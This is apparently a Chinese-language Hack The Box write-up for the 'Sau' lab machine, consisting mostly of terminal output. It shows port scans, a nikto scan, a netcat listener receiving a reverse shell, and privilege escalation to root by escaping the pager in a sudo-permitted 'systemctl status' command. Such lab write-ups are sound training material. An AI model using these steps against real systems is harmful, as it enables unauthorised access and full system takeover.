┌──(kali㉿kali)-[~/HTB/sau] └─$ sudo nmap -p- --min-rate=10000 10.10.11.224 [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 21:19 CST Warning: 10.10.11.224 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.224 Host is up (0.27s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp filtered http 8338/tcp filtered unknown 55555/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 14.17 seconds
┌──(kali㉿kali)-[~/HTB/sau] └─$ sudo nmap -sV -sT -O -p22,80 10.10.11.224 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 21:19 CST Nmap scan report for 10.10.11.224 Host is up (0.26s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 80/tcp filtered http Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 clo Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/s Nmap done: 1 IP address (1 host up) scanned in 14.87 seconds
┌──(kali㉿kali)-[~/HTB/sau] └─$ sudo nmap --script=vuln 10.10.11.224 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 21:20 CST Nmap scan report for 10.10.11.224 Host is up (0.27s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp filtered http 55555/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 101.91 seconds
┌──(kali㉿kali)-[~/HTB/sau] └─$ sudo nikto -h http://10.10.11.224:55555 [sudo] password for kali: - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.11.224 + Target Hostname: 10.10.11.224 + Target Port: 55555 + Start Time: 2023-07-13 09:27:19 (GMT8) --------------------------------------------------------------------------- + Server: No banner retrieved + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Root page / redirects to: /web + No CGI Directories found (use '-C all' to force check all possible dirs) + OPTIONS: Allowed HTTP Methods: GET, OPTIONS . + /local/httpd$map.conf: WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site. + /access/: This might be interesting. + /c/: This might be interesting. + /test/: This might be interesting. + /a/: May be Kebi Web Mail administration menu. See: CWE-552 + 8076 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2023-07-13 10:14:45 (GMT8) (2846 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
┌──(kali㉿kali)-[~/HTB/sau] └─$ nc -nlvp 443 listening on [any] 443 ... connect to [<HTB_VPN_IP>] from (UNKNOWN) [10.10.11.224] 50012 bash: cannot set terminal process group (889): Inappropriate ioctl for device bash: no job control in this shell puma@sau:/opt/maltrail$
puma的home目录有user flag。
提权
第一步不用说了sudo -l。
1 2 3 4 5 6 7 8
puma@sau:~$ sudo -l sudo -l Matching Defaults entries for puma on sau: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:/opt/maltrail$ sudo systemctl status trail.service sudo systemctl status trail.service WARNING: terminal is not fully functional - (press RETURN)!sh !sshh!sh # whoami whoami root # id id uid=0(root) gid=0(root) groups=0(root)